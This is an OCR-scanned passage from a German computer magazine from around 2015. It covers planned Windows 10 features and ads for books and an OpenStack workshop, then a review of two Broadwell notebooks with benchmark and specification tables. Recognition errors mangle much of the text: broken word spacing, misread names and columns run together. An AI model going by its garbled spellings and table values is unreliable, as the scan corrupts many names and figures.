auch bereits i n  der aktue l len Technica l  Pre­
view entha lten, muss dort aber expl izit akti­
viert werden (siehe 5. 54). 

Von der neuen Bed ienoberfläche, also von 
Spartan selbst, ist a l l erd ings noch n ichts zu 
sehen. Microsoft wil l  den Browser mit einer 
Reihe von Komfortfunktionen aufwerten .  So 
soll ein Notizenmodus dem Benutzer d ie  
Mög l ichkeit geben, d i rekt auf der geöffneten 

Anche• trtel K11 lt.bou•.rn 

489 Selte n ,  39,90 E u r o  

I S B N  978-3 - 8 3 6 2· 3 2 0 0 - 5  
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Website Kommentare und Notizen zu verfas­
sen. Mit e inem Selekt ionswerkzeug so l l  der 
Anwender solche Notizen ausschneiden, i n  
OneNote speichern oder  mit anderen An­
wendern tei len können.  

Spartans Lesemodus so l l  On l ine-Artikel in  
e ine a ufgeräu mte Form br ingen und Wer­
bung ausb lenden.  Seiten lassen sich damit  
fü r das Offl i ne-Lesen spe ichern .  Spa rtan 
füh rt zudem eine Lese l i ste, d ie  der Browser 
auf versch iedenen P lattformen synchroni­
s iert. Außerdem so l l  Spa rtan eng mit der  

u �� -- --

Sprachassistent in Cortana zusammena rbei­
ten, d ie ihm beim Su rfen im Web h i l ft. Wenn 
er zum Beispie l  e ine Gasthaus-Website be­
sucht, kann  sie automatisch Öffnungszeiten, 
Kriti ken und eine Wegbeschre ibung heraus­
suchen. Qo@ct.de) 

Spartan 

'"<i neuer Web-Browser 

mJ i n  kom menden U pdates der Preview 

v "':: �· Cll .... 11!1 0 ·-

Mit Spartan 
kann  man 

Webseiten mit 
Kommentaren 

versehen sowie 
Fundstücke 

ausschneiden 
und tei len.  

Uberty's Oellghtful Stnful Bakery & Cllf 

U nsere B ü cher  machen 
S ie  z u m Experten ! 
Egal o b  S ie  P rogram m i e rer, We b d es ign e r, 
Ad m i n  oder Make r si n d :  i n  u n se re m  Program m 
we rd en S ie  garanti ert fü n d ig !  U n sere B ü cher  
und Video-Tra i n i ngs ze ige n I h n e n ,  w i e ' s  ge ht .  

Gal i l eo Press  h e i ßt v o n  jetzt an R h e i n we rk .  

www. rhei  nwerk-ver lag . d e  
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Gaming 

Microsoft wendet s i ch  mit Windows 10  ver­
stä rkt Spielern zu - und baut fü r sie zah l rei­
che Funktionen ins kommende Betriebssys­
tem ein .  Mit Windows 1 0  wird d ie Xbox One 
stä rker mit Desktop-PCs verzahnt. Über eine 
ins  Betriebssystem i nteg r ierte App so l len 
s ich Xbox-One-Spie le d i rekt auf PCs oder 
Tablets strea men l assen .  Das ist s innvo l l ,  
wenn der Wohnzimmer-Fernseher vom Se­
rienjunkie-Partner belegt ist und man trotz­
dem nicht aufs Spie len verzichten möchte. 
Xbox-Chef Phi l Spencer streamte während 
der Windows-1 0-Präsentation das Rennspiel 
Forza Horizon 2 auf e in  Su rface-Tablet. 
Latenzprobleme oder Ähn l iches waren dabei 
nicht erkennbar .  

l n  der Xbox-One-App stecken noch mehr 
Schmankerl , etwa ein Aufnahme-Tool fü r Pe­
Spiele. Dieser Game DVR sol l  mit a l len unter 
Windows laufenden Spie len funkt ionieren 
und sich über das Tastenkü rzel Win+G akti­
vieren lassen. Standardmäßig schneidet er 
auch die letzten 30 Sekunden vor Beg inn der 
Aufnahme mit. Die Videos lassen sich auf so­
zia len Netzwerken tei len oder auf Microsofts 
C loud-Speicherdienst OneDrive hoch laden .  
Einzigartig i s t  der Game DVR a l l erd ings n icht, 
sch l ieß l ich bieten Grafi kka rtenherste l l e r  
schon jetzt kosten lose Aufnahme-Tools mi t  
Twitch-Streaming, etwa Nvidia Shadowplay. 

Microsoft hat a ußerdem angekünd igt, 
dass e in ige Windows-1 0-Spie le - etwa Fable 
Legends - e inen plattformüberg reifenden 
Mehrspielermodus bieten .  Dann können Pe­
Spie ler gegen Xbox-One-Spie ler antreten 
oder gemeinsame Abenteuer bestehen. E ine 
Schwemme solcher Titel ist a l l erd ings nicht 
zu erwarten, denn Cross-Piattform-Mu ltiplay­
er ist nu r  bei Spie le-Genres s innvol l ,  d ie sich 
auf Gamepad und Tastatur  g le ichwertig 
steuern lassen. Autorennen und langsame 
Ro l lenspie le e ignen s ich dafü r  gut, schne l le 
Ego-Shooter eher weniger - bei letzteren 
sind Gamepad-User aufgrund der schne l le­
ren WASD+Maus-Steuerung von PC-Spielern 
im Nachtei l .  l n  der Janua r-Preview von Win­
dows 1 0  ist nur eine sehr abgespeckte Va-

Windows 1 0  auf Smartphones 

Auf Windows Phone 8 . 1  fo lgt Windows 1 0: 
Das Smartphone-Betriebssystem ver l iert das 
"Phone" im Namen. Auch techn isch nähert 
es sich der PC-Version an, beispielsweise er­
le ichtern es die U n iversa l Apps den Ent­
wicklern, eine Anwendung fü r beide Plattfor­
men zu entwicke ln .  Microsoft zeigte dazu auf 
einem Smartphone Outlook und PowerPoint 
mit den g leichen Funktionen wie auf Tablet, 
PC und sogar dem riesigen Su rface Hub. 

Komplett b inä rkompatibel werden 
Smartphones und  PCs dadu rch nicht. Das 
heißt zum einen, dass nicht jede Windows­
Anwendung auf Smartphones läuft (was eh 
keine gute Idee wäre). Zum anderen müssen 
Entwickler weiterh in sepa rate Anwendun­
gen schreiben, wenn sie d ie Leistungsfäh ig-

62 

Fable Legends wird Di rectX 1 2  nutzen und einen plattformübergreifenden 
Mehrspielermodus bringen. 

r iante der Xbox-One-App mit Freundes l i ste 
und Aktivitätsfeed entha lten.  Den vo l len  
Funktionsumfang wi rd es erst geben, wenn 
Windows 10 fertig ist. 

Bereits i n  der aktue l len Technica l  Preview 
entha l ten ist Microsofts Prog rammier­
schn ittste l l e  Di rectX 1 2. Al lerd ings g ibt es 
noch keine Grafi kka rtentreiber, d ie den 3D­
Bestandte i l  Di rect3D 1 2 .0 unterstützen .  
Di rectX- 1 1 -Grafi kch ips la ufen mit  dem 
Di rect3D-Funktionsniveau 1 1 _1 beziehungs­
weise 1 1 _0. 

Di rectX 1 2  so l l  i n  erster L in ie zu einer effi­
zienteren Auslastung von Hauptprozessoren 
führen - und daher bei CPU-I imitierten 3D­
Szenen wesent l ich höhere B i ld raten errei­
chen als Di rectX 1 1 .  Darüber hinaus sol l  Di­
rectX 1 2  laut Microsoft auch die Leistungs­
aufnahme reduzieren und damit  auf Note­
books fü r bessere Akku laufzeiten sorgen. 
Hunderte Studios so l len bereits Di rectX- 1 2-
kompatib le Spie le entwickeln, wie zur Win­
dows- 1 0-Vorste l l ung  erklä rt wu rde. Mitt ler­
wei l e  s ind bereits wichtige 3D-Engi nes fü r 
Di rectX 1 2  vorbereitet, darunter d ie  Un rea l 
Engine 4 und Un ity. Als eines der ersten Spie-

keit der PC-Piattform und der Xbox komplett 
nutzen wol len oder wenn  es keine Kachei­
App werden sol l .  Genau das passiert bei Mi­
crosoft Office: Die gezeigte Touch-Vers ion 
Office for Windows 1 0  so l l  das a l tbekannte 
Büropaket fü r den Desktop keinesfa l l s  ablö­
sen. Vie lmehr  füh rt Microsoft dessen Ent­
wickl ung mit dem noch fü r d ieses Jahr  ge­
p la nten "Office 201 6" fort, das wie gehabt 
auf d ie Bed ienung per Tastatur  und Maus 
ausgerichtet i st  und n icht auf Smartphones 
läuft. 

Microsoft füh rte ein ige weitere Neuerun­
gen von Windows 1 0 vor :  Die Benach richti­
gungen beispie lsweise über  e ingehende 
Mai l s  und Termine lassen s ich mit e inem 
Desktop-Windows synchronisieren; d ie  Sys-

le wird Fable Legends d ie neue 3D-Schnitt­
ste l le  nutzen. Es so l l  noch 201 5 erscheinen. 

Bereits jetzt hat AMD mit Mantle eine ähn­
l ich effiziente Schn ittste l le  pa rat, d ie jedoch 
nur a uf AMD-Grafikchips läuft und bis dato 
nur von wenigen Spie len unterstützt wird. 
Für Spieler füh rt mittelfristig kein  Weg an  Di­
rectX 1 2  vorbei. (mfi@ct.de) 

Xbox Streaming 

'(/ Xbox-Spiele vom PC aus steuern 

fiJ spätestens mit Windows 1 0  

Game DVR 

c'(/ Videos von Windows-Spielen a ufnehmen 

fiJ spätestens mit Windows 1 0  

DirectX 1 2  

'(/ Spiele-Prog ra m m ierschn ittste i le  m it 
verbesserter Effizienz 

fiJ i n  der Januar-Preview entha lten 

temeinstel l ungen sind aufgeräumter; Größe 
und Posit ion der Touch-Tastatur  sind frei 
wäh lba r; SMS und Skype-Nach richten laufen 
i n  einer gemeinsamen App zusammen. 

Windows 1 0 laufe auf jedem Smartphone, 
fü r das es Windows Phone 8.1  g ibt, h ieß es 
anfangs; vorgefüh rt wurde es auf e inem 
Nokia Lumia 1 520. Später relativierte das e in 
Microsoft-Manager, indem er a l s  Empfeh lung 
fü r E insteigergeräte das Lumia 435 nannte. 
Wei l  es anders als noch b i l l igere Model l e  
1 GByte Hauptspeicher hat, l iegt de r  Sch luss 
nahe, dass Windows 1 0 nicht auf den Model­
len mit 5 1 2 MByte la ufen wird.  Das würde 
beispielsweise d ie Lumias 530 und 630 aus­
sch l ießen. Im Februar kommt eine Vorabver­
sion fü r Phones zum Ausprobieren, die sich 
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anders a l s  bisherige Testversionen ohne spä­
tere Neu i nsta l lat ion einfach per Update in 
e in fertiges Windows 1 0  verwande ln lassen 
wird. 

Ach ja, Windows RT . . .  Die paar existieren­
den Tablets mit ARM-Prozessor bekommen 
kein  Windows 1 0, sondern bestenfa l l s  e in 
Featu re-Pack; ähn l ich versuchte Microsoft 
mit Windows Phone 7.8 zu kaschieren, dass 
e in ige Smartphones kein  Update auf Win­
dows Phone 8 erhie lten. Zukünftigen ARM­
Tablets wo l l te Microsoft wiederum keine 
komplette Absage erte i len .  Auch auf dem 
ARM-Experimentier-Boa rd Raspberry Pi 2 so l l  
Windows 10 laufen. 

Zu neuen Windows-Smartphones gab es 
keine I nformationen, weder von Microsoft 
noch von anderen Herstel lern. Derzeit g ibt es 
h ierzu lande außer den Microsoft/Nokia-Mo­
de l len nur Restposten von HTC, Huawei und 
Samsung sowie ein paar  B i l l iggeräte. 

Die Touch­
Version von 

Microsoft Office 
sol l  künftig auf 

dem Smart­
phone dieselben 

Funktionen 
bieten wie in  

der Kachel­
Oberfläche auf 

dem PC. 

Windows für Smartphones 

fi' Windows- 1 0-Ableger als Windows-Phone­
Nachfolger 

fiHVorabversion im Februar 

U niversal Apps 

Ob das a l les h i l ft, zu Android und iOS auf­
zusch l ießen? Am Verhä ltn is der  d rei ändert 
sich kaum etwas: And roid hat mehr Geräte, 
die iPhones profit ieren von i h rem I mage a l s  
l nnovationsfüh rer, Wi ndows i s t  im  B i l l i g ­
bereich schon jetzt gut  aufgeste l l t. Die Be­
nachr ichtigungssynchron isierung kann  iOS 
(mit Mac OS) schon jetzt, And roid per Zu­
satzsoftwa re sowieso. D ie Softwa re-Lücke 

steht weiter offen, den Entwicklern von An­
d roid- und iOS-Apps fä l l t  d ie  Windows-Por­
t ieru ng n icht le ichter a l s  b isher .  Led ig l ich 
wer e ine I dee mög l ichst e i nfach fü r 
Smartphone, Tab let und PC imp lementieren 
wi l l ,  hat es du rch d ie Un iversa l Apps einfa­
cher a l s  auf den anderen P lattformen. Und 
das Touch-Office beschränkt Microsoft nicht 
a uf Windows-Te lefone, sondern hat a uch 
Android- und lOS-Vers ionen im Angebot. fj· auf a l len  Geräten la ufende Modern-UI-Apps 

Gow@ct.de) fia seit Windows (Phone) 8 . 1  mög l ich C71: 

iX-Workshop 

Freies C loud-Computing 
mit OpenStack 

Grundlagen, Instal lation und Betrieb eines eigenen Cloud-Systems 

Dieser Workshop behandelt Theorie und Praxis zum Open-Source-Projekt 
OpenStack.  M it OpenStack ist es mögl ich eine private oder öffentliche Cloud 
zu betreiben. Dabei wird dem Nutzer eine vol lständige laaS-Lösung 
(lnfrastructure-as-a-Service) präsentiert. 

Bis zu m 
3. März Frühbucherrabatt 
von 1 0% 
sichern!  

Nach einer kleinen Einführung z u m  Thema .,Cioud" wird das Projekt selbst in  einem Kurzportrait dar­
gestellt, d i rekt im Anschluss beginnen die Teilnehmer bereits mit der Insta l lation und Konfiguration der 
einzelnen Komponenten. Dies beinhaltet das Identitätsmanagement Keystone und die Bereitstellung 
von Images mit Glance. Am Folgetag l iegt der Fokus auf der eigentl ichen Provisionierung von virtuellen 
Maschinen. Ein Bl ick auf das Webinterface zur Verwaltung aller Komponenten rundet den Workshop ab. 

Voraussetzungen:  
Als Tei lnehmer des Workshops sol lten Sie ein grundlegendes Verständnis für die System- und Netz­
werkadministration unter Linux mitbringen. Zusätzlich sind Erfahrungen im Bereich der Virtualisierung 

notwendig. 

Termin: 1 6. - 1 7. April 201 5, Köln - KOMED 

Frühbuchergebühr: 1 .346,00 Euro Onkl .  MwSt.) ; Standardgebühr: 1 .496,00 Euro (inkl. MwSt.) 
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Weitere I nfos unter: www.openstack-konferenz.de 
www . ix- konferenz.de 

Ihr Referent wird 
gestellt von: 

B 
S Y S T E M S  

Eine Veronstaltung von: 

Organisiert von 
heise Events 

Das könnte Sie 
auch Interessieren: 

Der IX-OpenStack-Tag 
am 1 5. Apri l 201 5. 

Infos in  Kürze unter 
www.heise-events .de 
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Prüfstand I Broadwei i -Notebooks 

F lorian Müssig 

Frischgemacht 
Die ersten Notebooks m it l ntels  fü nfter Core-i-Generation 

Die fünfte Core-i-Generation ist d a :  Schon wenige Wochen nach ih rer 
Vorstel l ung tauchten die Prozessoren in  e inem Business-Notebook 
von Deli und einem 1 7-Zöl ler  von Medion auf. Die Broadwei i-CPUs sol len 
sch nel ler  und sparsamer sein,  sodass wir besonders auf Performance 
und Stromverbrauch gespannt waren .  

D ie CPUs der fünften Cere-i-Generat ion 
(Broadwe l l )  umfassen auf absehbare 

Zeit nu r  Doppe lkerne fü r flache Note­
bocks [ 1 ] .  Wir haben zwei der ersten damit 
bestückten Notebocks getestet: Das Del i La­
t itude E5450 ist ein 1 200-Eu ro-Bus iness­
Gerät samt Dockingansch lu ss; Median 
spricht mit dem Aldi-Notebook Akoya E? 41 6 
fü r 500 Euro Privatkäufer an .  

I m  CineBench R1 5 schafft der Core i5 -
5200U des Medion-Notebooks 259 Punkte. 
Damit l iegt er erwartungsgemäß zwischen 
dem d i rekten Vorgänger i 5-4200U (23 1 
Punkte) und  dem i7-4600U (276 Punkte) -
beide stammen aus  der Haswei i -Generation. 
Der Core i5-5300U im Del i -Gerät ist mit 280 
Punkten noch schnel ler - und das, obwoh l  er 
laut Datenblatt nu r  1 00 MHz mehr Basistakt 
a l s  der 5200U hat. 

Dies könnte an der untersch ied l i chen 
RAM-Bestückung l iegen, aber wahrschein l i ­
cher  noch an  den untersch iedl ichen Kühlern .  
Letztere haben im Zeita lter der Turbo-Funk-

Messergebn isse 

tionen einen g roßen Einfluss auf die Perfor­
mance. Da wir d ie  aufgelöteten Notebook­
CPUs nicht im  se lben Gerät mit g le ichem 
Kühler du rchmessen können, lässt sich eine 
gewisse Unschä rfe i n  d i rekten Verg le ichen 
zwangsläufig nicht vermeiden. 

Die verbesserte integrierte Grafi k  HD  5500 
l i egt mit rund 44 000 Punkten im  3DMark 
l ceStorm vor der H D-4400-E inheit des i5-
4200U (38 000 Punkte), aber  h i nter der  
g le ichnamigen GPU des i7-4600U (50 000 
Punkte). H i nterg rund d ieser Differenzen ist 
d ie Tatsache, dass sich bei I ntel identisch be­
nannte GPUs je nach CPU-Model l  (i3/i5/i7) im 
Takt unterscheiden. 

Für Spie legrafi k  jenseits der  S ims-Spie le 
oder Goog le Earth reicht die 3D-Performance 
weiterh in n icht; mit deta i l re ichen Spielwei­
ten aktue l ler  B lockbuster a Ia Battlefie ld oder 
Far Cry ist d ie GPU überfordert. Laut I ntel be­
herrscht sie grundsätzl ich 4K-Auflösung bei 
60 Hz, aber nur per DisplayPort - eine solche 
Buchse hat a l lerd ings keiner der Probanden. 

Notebook getestet in Prozessor (Takt / Turbo) CPU·Leistung1 3 D-Leistung' Leistungsaufn. 
bei 1 00 cd/m1 [W] 

besser .._ b�er ..-

Deli Latitude E5450 ( 14") c't 5/15, 5. 64 Core i5-5300U (2,3 I 2,9 GHz) 280 - 2512 - 5,9 
Medion Akoya E7416 ( 17,3") c't 5/15, 5. 64 Core i5-5200U (2,2 I 2,7 GHz) 259 - 2528 - 5.9 
HP Elitebook 840 (14") c't 1 6/14, 5. 90 Core i7 -4600U (2, 1 I 3,3 GHz) 276 2824 - 5,1 
Lenovo ThinkPad T440 (14") c't 1 6/14, 5. 90 Core i5-4300U (1 ,9 I 2,9 GHz) 259 - 2409 - 4,2 
Toshiba Tecra Z40 ( 14") c't 1 6/14, 5. 90 Core i5-4200U (1 ,6 / 2,6 GHz) - 231 - 2298 - 4,6 
Packard-Bell EasyNote c't 23/14, 5. 70 Celeron N2830 (2, 16/ 2,41 GHz) - 71 • 498 --· 6,7 
TF71 BM (1 5,6") 
1 Cineßench R15 (n CPU, 64 Bit) 2 3DMark 13 (5ky Diver) 
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Energiebedarf 

Mindestens ebenso entscheidend wie d ie 
Performance ist der  Stromhunger .  Be i  der  
fünften Core-i-Generat ion ist d ieser Punkt 
umso i nteressanter, wei l s ie im  Verg le ich 
zum Haswei i -Vorgänger mit kle inerer Struk­
turbreite gefertigt wi rd ( 1 4 statt 22 nm) .  

Den guten Eindruck, den die ersten Hybrid­
Geräte mit Core M (ebenfa l l s  Broadwel l - ln­
nen leben) h interl ießen [2], können auch die 
Testkand idaten bestätigen. Besonders der 
Energ ieverbrauch bei ger inger Systemlast ist 
beachtl ich niedr ig: Bei auf 1 00 cd/m2 abge­
dunkeltem Bi ldschirm zieht das Akoya E741 6 
unter 6 Watt. Damit ist es genauso genügsam 
wie günstigere 1 7-Zo i i -Geräte mit deutl ich 
lahmeren Atom-Pentiums oder -Celerons. 

Beim Latitude E5450 haben wir ebenfa l l s  
knapp 6 Watt be i  1 00  cd/m2 Display-He l l ig­
keit gemessen, was uns angesichts des klei­
neren B i ldsch i rms verwunderte und auch 
etwas schlechter ist a l s  beim d i rekten Vor­
gänger E5440 (5,5 Watt) . Es ist gut mögl ich, 
dass das bessere Panel hier einen Tribut for­
dert. Andererseits hatten wir bereits Haswel l ­
bestückte Bus i ness-Geräte wie Lenovos 
Th inkPad T440(s) oder Toshibas Tecra Z40 im 
Labor, die mit unter 5 Watt auskamen [3] .  

Deli  Latitude E5450 

Del i hat sein Bus iness-Notebock Latitude 
E5450 abgespeckt: Steckte der Vorgänger 
E5440 noch in  einem arg klobigen Gehäuse, 
so ist das aktue l le  Model l nun  einen ha lben 
Zentimeter flacher. Bei der Renovierung bl ie­
ben ein ige Featu res wie wechselbarer Akku, 
optisches Laufwerk oder ExpressCard-Schacht 
auf der Strecke; mindestens die letzten beiden 
findet man aber auch bei keinem Konkurrenz­
produkt mehr. Der Lüfter bleibt bei geringer 
Systemlast unhörbar leise und dreht nie über­
mäßig laut auf. 

Die beleuchtete Tastatur  überzeugt mit 
gut spü rbarem Anschlag und norma lgroßen 
Tasten .  Die Steuerung des Mauszeigers er­
fo lgt wah lweise per Touchpad oder über 
einen Trackpoint 

Als waschechtes Business-Notebock passt 
das E5450 weiterhin auf die geräte- und ge­
nerationenübergreifenden E-Docks, d ie den 
Wechsel zwischen Sch reibtisch und Außen­
termin  vereinfachen. Admins können d ie Ge­
räte zudem aus  der Ferne warten oder so 
verrammeln, dass der Nutzer sich per F inger­
abd ruck oder SmartCard (Ch ipka rte oder 
kontaktlos) a uthentifizieren muss. Laufzeit­
verlängernde Zusatzakkus g ibt es n icht 
mehr; beim Testgerät wa r bestenfa l l s  nach 
gut achteinha lb  Stunden Sch luss. 

Das Testgerät mit recht bl ickwinke lunab­
hängigem Fu i i -HD-Bi ldsch i rm samt ordent­
l ichen Farben entsprach bei Redaktions­
sch luss der besten Konfiguration, d ie Del i  in  
sei nem Webshop l i stet. Auch Privatkunden 
dü rfen dort e inkaufen, müssen aber auf die 
augenschei n l i ch n iedr igen Preise auf der  
Sta rtseite noch d ie Mehrwertsteuer aufschla­
gen .  I n kl usive m itbeste l l ba rem USB-Stick 
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statt Recovery-DVD und Versand kostet das 
Testgerät dann knapp 1 200 Euro. 

Im  günstigsten Mode l l  ab  825 Euro steckt 
e in  1 366er-Pane l .  Den besseren B i ldsch i rm 
g ibt es n icht fü r d ie zwei günstigsten Model­
le, SSD statt Festplatte nur im TopmodelL Zu 
den wenigen frei wäh lba ren Webshop-Op­
tionen zäh lt  e in fü r a l l e  Mode l le  erhä lt l iches 
LTE-Modem (69 Euro). Die im Kaufpreis ent­
ha ltene Garantie von 1 Jahr  Vor-Ort-Service 
am nächsten Arbeitstag lässt sich auf bis zu 
fünf Jahre ver längern (244 Euro). 

Medion Akoya E741 6 

Der Vier-Zel len-Akku (43 Wh) des Akoya 
E741 6 hä lt über sieben Stunden du rch. Das 
ist mehr als ordentl ich - nicht nur angesichts 
der Tatsache, dass man den 2.7 Ki lo schwe­
ren 1 7-Zoi i -Riesen wohl nu r  selten weit ab­
seits von Steckdosen nutzt. Der Akku am hin­
teren Rand ist mit  zwei Schrauben fixie rt. 
Trotz des ger ingen Energieverbrauchs läuft 
der Lüfter bei CPU-Leerlauf konstant hörbar 
- das fä l l t  in  ruhigen Umgebungen störend 
auf. Unter Rechenlast b le ibt der Lärm im an­
gemessenen Rahmen. 

l ntels WLAN-Modu l  funkt im 2.4- wie auch 
5-GHz-Band, i n  Letzterem soga r nach I EEE  
802. 1 1 ac .  Wei l das Modu l  aber nu r  e inen 
Stream unterstützt, benötigt man einen 1 1  ac­
Router, um hohe Datenraten zu erreichen. 

Fü r  USB-Sticks und andere Peripherie, d ie 
man gelegent l ich ansch l ießt, s ind d ie 
Schn ittste l l en im vorderen Seitenbereich 
praktisch. Al lerdings müssen auch Netzwerk­
oder Monitorkabel dort e ingesteckt werden; 
d ie Strippen nehmen dann viel P latz auf dem 
Schreibtisch e in .  Der Ka rten leser kann  
schne l le SDXC-Kä rtchen nicht ausreizen. 

Trotz der üppigen Gehäuseabmessungen 
hat d ie  Tastatur nicht das normale 1 9-Mi l l i ­
meter-Raster, sondern i st  etwas gequetscht. 
Beim Testgerät war die Tastatu r in der Mitte 
hochgebogen, was das Tippgefüh l  verwäs­
serte und bei jedem Tastendruck ein lautes 
Klappern veru rsachte. Dem Touchpad feh len 
dedizierte Maustasten. 

Der matte B i ldsch i rm strah l t  mit knapp 
250 cd/m2 ausreichend hel l .  Beim Bl ick von 
der Seite erscheint das B i ld  dunkler  und 
wegen des TN-Panels auch mit verfä l schten 
Fa rben bis hin zu l nvertierungen. 

Bei Erscheinen d ieser Ausgabe dü rfte das 
Akoya E741 6 bei Ald i  Nord bereits vergriffen 
sein .  Es ist jedoch davon auszugehen, dass 
das Gerät i n  absehbarer Zeit auch über Me­
dions Webshop erhält l ich sein wird - dann 
aber woh l  mi t  nu r  zwei Jahren Garantie und 
womög l ich mit veränderter Ausstattung zu 
einem anderen Preis. 

Fazit 

Die Doppe lkerne der fünften Core-i-Genera­
t ion bieten etwas mehr Performance und 
einen etwas ger ingeren Energiehunger, was 
man gerne mitn immt. Angesichts der Tatsa­
che, dass s ie ab jetzt auf breiter F ront zum 
Einsatz kommen, kann  man a l s  Käufer losge-
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Prüfstand I Broadwei i -Notebooks 

Literatu r  löst vom Prozessor nach dem Notebook gu ­
cken, das  am besten zu Anspruch und Bud­
get passt. Das dockingfähige Arbeitstier Del i 
Latitude E5450 und das günstige Heimgerät 
Medion Akoya E741 6 sind zwei konkrete 
Ausprägungen mit untersch ied l ichen Zie l ­
g ruppen. Wer derzeit e in ansprechendes 
Haswe i i -Aus laufmode l l  fi ndet, kann  dort 
aber  weiterh in  bedenken los zusch lagen -
sch l ieß l ich kommt es auf mehr an  a l s  e ine 
min ima l  bessere CPU-Leistung. (mue@ct.de) 

[ 1 ]  F loria n M üssig, N u m mer 5 lebt!, Die fü nfte Ge­
neration vo n l ntels Core- i -Prozessoren fü r 
Notebooks und Min i-PCs, c't 3/1 5, S. 20 

[2] F lor ian Müssig, E rst l inge, HP Envy 1 5  x2 und Le­
novo ldea Pad Yoga 3 Pro: Notebook-Ta blet-Hy­
bride m it Core-M-CPU, c't 26/1 4, S. 1 02 

[3] F loria n Müssig, La nge geschäft l ich u nterwegs, 
Leichte Profi-Notebooks m it U LV-Prozessoren, 
c't 1 6/1 4, S. 90 

Broadweii-Notebooks 

Modell 

getestete Konfiguration 
Deli Latitude 5450 

6D38Q1 2  
Lieferumfang Windows 7 Professional + Windows 8.1 Pro 

64 Bit, Recovery-Stick, Netzteil 
Schnittstellen (V = vorne, H = hinten, L = links, R = rechts, U = unten) 

VGA I DVI / HDMI / DisplayPort I Kamera H I - I H I - / ../  

USB 2.0 I USB 3.0 I LAN - / 1  x R, 2 x H I H 
Kartenleser I Strom I Docking-Anschluss R [SD) I H I U 
Ausstattung 

Display 

Prozessor 
Prozessor-Cache 
Prozessor-Taktrate 

Hauptspeicher 
Chipsatz I mit Hybridgrafik I Frontside-Bus 

Grafikchip [Speither) 

Sound 
LAN 

WLAN I 5 GHz I a l le 5-GHz-Kanäle 

Bluetooth I Stack 
Touchpad [Gesten) 

TPM I Fingerabdruckleser 

Massenspeither 

optisches Laufwerk 
Stromversorgung, Maße, Gewicht 

Akku I we<hselbar I Ladestandsanzeige 
Netzteil 

Gewicht 

Größe I Dicke mit Füßen 
Tastaturhöhe / Tastenraster 
Leistungsaufnahme 

Suspend I ausgeschaltet 

ohne Last (Display aus I 1 00 cd/m2 I max) 
CPU-Last / Video / 3D-Spiele (max. Hel l igkeit) 
max. Leistungsaufn. / Netzteii-Powerfactor 

Messergebnisse 

14 Zoll / 35,6 cm, 1 920 x 1 080, 1 6:9, 157 dpi, 
1 3  . . .  237 cd/m2, matt 
I ntel Core i5-5300U (2 Kerne mit HT) 

2 X 256 KByte L2-, 3 MByte L3-Cache 
2,3 GHz (2,9 GHz bei einem Thread) 

8 GByte PC3-1 2800 
I ntel Broadwei i-ULT I - I -
int.: Intel HO 5500 (vom Hauptspeither) 
HDA: Realtek ALC293 

PCie: l ntei i21 8-LM (GBit) 

PCie: I ntel Wireless-AC 7265 (a/b/g/n-300/ 
ac-867) I../ /../ 

USB: lntel 4.0 I Microsoft 

PS/2: Alps (Trackpoint + Touchpad, 
max. 4 Finger) 
TPM 1 .2 /  USB: Broadcom Control Vault 
SSD: Samsung PM851 (128 GByte I - I - )  

5 2  W h  Lithium-Ionen I - I -
65 W, 307 g, 1 0,6 cm x 6,4 cm x 2,2 cm, 
Kleeblattstecker 
1 ,95 kg 

33,4 cm x 23 cm / 2,5 cm 
1,8 cm / 1 9 mm x 19 mm 

0,4 W / 0,2 W 
3,5 W / 7,2 W / 1 0,1 W 

30,4 w / 1 3 w / 35,3 w 
63,4 W I 0,55 

Laufzeit ldle ( 1 00 cd/m2) / WLAN (200 cd/m2) 8,7 h (5,9 W) / 7,1 h (7,3 W) 

Laufzeit Video / 3 D  (max. Hel l igkeit) 5,6 h (9,3 W) / 2,3 h (22,8 W) 
Ladezeit I Laufzeit nach 1 h Laden 
Geräusch ohne I mit Rechenlast 
Massenspeither lesen I schreiben 

IOPS (4K) lesen I schreiben 

1,8 h / 4,9 h 

0,1 Sone I 0,6 Sone 
527,3 / 1 1 9,1 MByte/s 

9 1638 / 30469 
Leserate Speicherkarte (SO I xD I MS) 58,8 / - I - MByte/s 
WLAN 802.1 1 n  5 GHz / 2,4 GHz (20m) 22,6 / 1 1 ,1 MByte/s 
Qualität Audioausgang I Dynamikumfang ®$ I -99,1 dB(A) 
CineBench R1 1 .5 Rendering 32 I 64 Bit (n CPU) 2,83 I 3,08 

CoreMark Single-/Multi-Core I GLBench 1 4731 I 3B188 / 250 fps 
3D Mark ( Iee Storm I Cloud Gate I Sky Diver I 4371 2  I 4671 / 25 1 2  I 606 
Fire Strike) 
Preis und Garantie 

Straßenpreis Testkonfiguration 1 200 € 

Garantie 1 Jahr Vor-Ort-Service 

Medion Akoya E741 6 

MD99460 
Windows 8.1 64 Bit, Cyberl ink Home Cinema 1 0, 
Recovery-DVD, Netzteil 

L / - / L / - / v  
2 x R / 2 x L / L  
V (SD) / L / -

1 7,3 Zoll I 44,1 cm, 1 600 x 900, 1 6:9, 1 06 dpi, 
33 . . .  244 cd/m2, matt 
I ntel Core i5-5200U (2 Kerne mit HT) 

2 X 256 KByte L2-, 3 MByte L3-Cache 
2,2 GHz (2.7 GHz bei einem Thread) 

4 GByte PC3-1 2800 
I ntel Broadwei i-ULT I - I -
int.: Intel HO 5500 (vom Hauptspeither) 
HDA: Reallek ALC269 

PCie: Realtek (GBit) 

PCie: I ntel Wireless-AC 3 160 (a/b/g/n-1 50/ 
ac-433) /../ /../ 

USB: l ntel 4.0 I Microsoft 
PS/2: Elan Tech (max. 3 Finger) 

- / -
Festplatte: HGST T raveiStar Z5K500 (500 GByte I 
5400 min-1 I 8 MByte) 
TSST corp SU-208GB (DVD-Multi) 

43 Wh Lithium-Ionen I - I -
65 W, 342 g, 1 2,4 cm x 5,2 cm x 3,2 cm, 
Kleingerätestecker 
2,73 kg 

42 cm x 27,8 cm / 2,9 . . .  3,2 cm 
2 cm / 1 8,S mm x 1 8,5 mm 

0,4 w / 0,3 w 
4.7 W I 6,5 W / 7,8 W 
27,4 W / 1 2,8 W 1 33,1 W 

64,5 w 1 0,61 

7,3 h (5,9 W) / 6,3 h (6,8 W) 
4,2 h (1 0,2 W) I 2,1 h (20,4 W) 

1 .3 h / 5,4 h 
0,2 Sone I 0.7 Sone 
88,8 I 85,2 MByte/s 

1 72 1 1 82 
29.7 I - I - MByte/s 

1 5,3 I 6,3 MByte/s 

® I  -95,9 dB(A) 
2,62 I 2,84 

13713 I 35308 I 247 fps 
44267 I 4572 I 2528 I 61 1 

500 € 

3 Jahre ct 
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kurz vorgestel lt  I Kamera-Smartphone, Kinder-Smartwatch, Gigabit-Switch 

Edle Telefonknipse 

